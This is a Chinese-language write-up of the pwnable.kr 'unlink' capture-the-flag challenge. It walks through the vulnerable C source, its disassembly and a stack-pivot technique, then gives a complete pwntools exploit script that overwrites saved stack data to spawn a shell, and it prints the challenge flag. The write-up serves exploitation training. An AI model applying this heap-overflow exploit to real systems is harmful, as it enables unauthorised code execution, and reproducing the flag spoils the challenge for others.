题目地址:http://pwnable.kr/play.php
按题目提示连接 ssh unlink@pwnable.kr -p2222 (pw: guest)
ls 发现和之前的题目一样: 三个文件分别是 flag,unlink,unlink.c
先查看unlink.c 源码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
很明显是模拟的 Unlink 堆溢出漏洞,和题目一致,不知道这个可以先去看看这篇文章 :http://www.evil0x.com/posts/24617.html
在 gets(A->buf) 处有堆溢出,我们可以通过这个来改写A,B,C的堆空间内容。
重点当然是在unlink上 , unlink(B)做的其实就是将 B 从双向链表中取出来。
在这个双向链表中,fd指向前一个节点,bk指向后一个节点。
unlink() 所作的就是:
(B->fd)->bk=B->bk
(B->bk)->fd=B->fd
因为 OBJ 结构体的第一个成员就是fd 所以上式 == *(*B+4) = *(B+4)
**(B+4) = *B
利用2式 我们可以通过重写B在堆中的 fd 与 bk 可以实现任意内存写入
在典型的 Unlink 漏洞中是通过重写GOT中 free() 函数的地址为 我们的 shellcode 地址,但是这种方法应该早就被修复了(上面那篇文章中提到了)。
所以我们就只能是修改别的函数的返回值地址 , 下面
objdump -S unlink
看一下汇编
main() 函数如下 :
0804852f <main>:
804852f: 8d 4c 24 04 lea 0x4(%esp),%ecx
8048533: 83 e4 f0 and $0xfffffff0,%esp
8048536: ff 71 fc pushl -0x4(%ecx)
8048539: 55 push %ebp
804853a: 89 e5 mov %esp,%ebp
804853c: 51 push %ecx
804853d: 83 ec 14 sub $0x14,%esp
8048540: 83 ec 0c sub $0xc,%esp
8048543: 68 00 04 00 00 push $0x400
8048548: e8 53 fe ff ff call 80483a0 <malloc@plt>
804854d: 83 c4 10 add $0x10,%esp
8048550: 83 ec 0c sub $0xc,%esp
8048553: 6a 10 push $0x10
8048555: e8 46 fe ff ff call 80483a0 <malloc@plt>
804855a: 83 c4 10 add $0x10,%esp
804855d: 89 45 ec mov %eax,-0x14(%ebp)
8048560: 83 ec 0c sub $0xc,%esp
8048563: 6a 10 push $0x10
8048565: e8 36 fe ff ff call 80483a0 <malloc@plt>
804856a: 83 c4 10 add $0x10,%esp
804856d: 89 45 f4 mov %eax,-0xc(%ebp)
8048570: 83 ec 0c sub $0xc,%esp
8048573: 6a 10 push $0x10
8048575: e8 26 fe ff ff call 80483a0 <malloc@plt>
804857a: 83 c4 10 add $0x10,%esp
804857d: 89 45 f0 mov %eax,-0x10(%ebp)
8048580: 8b 45 ec mov -0x14(%ebp),%eax
8048583: 8b 55 f4 mov -0xc(%ebp),%edx
8048586: 89 10 mov %edx,(%eax)
8048588: 8b 55 ec mov -0x14(%ebp),%edx
804858b: 8b 45 f4 mov -0xc(%ebp),%eax
804858e: 89 50 04 mov %edx,0x4(%eax)
8048591: 8b 45 f4 mov -0xc(%ebp),%eax
8048594: 8b 55 f0 mov -0x10(%ebp),%edx
8048597: 89 10 mov %edx,(%eax)
8048599: 8b 45 f0 mov -0x10(%ebp),%eax
804859c: 8b 55 f4 mov -0xc(%ebp),%edx
804859f: 89 50 04 mov %edx,0x4(%eax)
80485a2: 83 ec 08 sub $0x8,%esp
80485a5: 8d 45 ec lea -0x14(%ebp),%eax
80485a8: 50 push %eax
80485a9: 68 98 86 04 08 push $0x8048698
80485ae: e8 cd fd ff ff call 8048380 <printf@plt>
80485b3: 83 c4 10 add $0x10,%esp
80485b6: 8b 45 ec mov -0x14(%ebp),%eax
80485b9: 83 ec 08 sub $0x8,%esp
80485bc: 50 push %eax
80485bd: 68 b8 86 04 08 push $0x80486b8
80485c2: e8 b9 fd ff ff call 8048380 <printf@plt>
80485c7: 83 c4 10 add $0x10,%esp
80485ca: 83 ec 0c sub $0xc,%esp
80485cd: 68 d8 86 04 08 push $0x80486d8
80485d2: e8 d9 fd ff ff call 80483b0 <puts@plt>
80485d7: 83 c4 10 add $0x10,%esp
80485da: 8b 45 ec mov -0x14(%ebp),%eax
80485dd: 83 c0 08 add $0x8,%eax
80485e0: 83 ec 0c sub $0xc,%esp
80485e3: 50 push %eax
80485e4: e8 a7 fd ff ff call 8048390 <gets@plt>
80485e9: 83 c4 10 add $0x10,%esp
80485ec: 83 ec 0c sub $0xc,%esp
80485ef: ff 75 f4 pushl -0xc(%ebp)
80485f2: e8 0d ff ff ff call 8048504 <unlink>
80485f7: 83 c4 10 add $0x10,%esp
80485fa: b8 00 00 00 00 mov $0x0,%eax
80485ff: 8b 4d fc mov -0x4(%ebp),%ecx
8048602: c9 leave
8048603: 8d 61 fc lea -0x4(%ecx),%esp
8048606: c3 ret
8048607: 66 90 xchg %ax,%ax
8048609: 66 90 xchg %ax,%ax
804860b: 66 90 xchg %ax,%ax
804860d: 66 90 xchg %ax,%ax
804860f: 90 nop
可以看到 在栈中 A,B,C 的地址分别为 :
&A: -0x14(%ebp)
&B: -0xc(%ebp)
&C: -0x10(%ebp)
注意在main() 的最后 :
80485ff: 8b 4d fc mov -0x4(%ebp),%ecx
8048602: c9 leave
8048603: 8d 61 fc lea -0x4(%ecx),%esp
8048606: c3 ret
leave指令的操作为:
0x01. 将 ebp 中的值给 esp
0x02. pop栈中第一个值给 ebp
ret的操作为:
0x04. 再pop栈中一个值给 tip 在从tip处开始继续执行
但是在 0x02 和 0x04中有一次修改 esp的机会 (lea -0x4(%ecx),esp),通过修改esp 我们可以实现跳转到我们的 shellcode
mov -0x4(%ebp),%ecx
ecx 的值来源于 -0x4(%ebp)
也就是说 它会将 %ebp-4 处到值 再减4 ,并跳转过去
所以我们需要将 (shell code 的地址 + 4) 写入 (%ebp-4的内存中)
我们将 shell code 的地址写入 A 的but中
&A的地址为 ebp - 0x14
要写入的地址为 ebp - 0x4
相对于 A的栈地址就是 &A + 0x10
shellcode 的地址相对于 A的 堆地址为 A +8
按照上面推论所说:“将 (shell code 的地址 + 4) 写入 (%ebp-4的内存中)”
也就是将 A+12 的值写入 &A + 0x10的内存中
+-------------------+-------------------+ <- heap addr[A]| FD | BK |+-------------------+-------------------+ <- [A->buf]| shell addr | AAAA |+---------------------------------------+| AAAAAAAA |+---------------------------------------+ <- [B]| heap + 12 | stack + 16 |+-------------------+-------------------+
有关堆的chunk结构有不了解的同学可以 看看这个 :chunk 结构
构造payload
from pwn import * e = process('./unlink') shell_addr = 0x80484eb e.recvuntil('here is stack address leak: ') stack_addr = e.recv(10) e.recvuntil('here is heap address leak: ') heap_addr = e.recv(9) stack_addr = int(stack_addr, 16) heap_addr = int(heap_addr, 16) target_addr = stack_addr + 0x10 payload = p32(shell_addr) payload += 'A' * 12 payload += p32(heap_addr + 12) payload += p32(target_addr) e.sendline(payload)
e.interactive()
flag : conditional_write_what_where_from_unl1nk_explo1t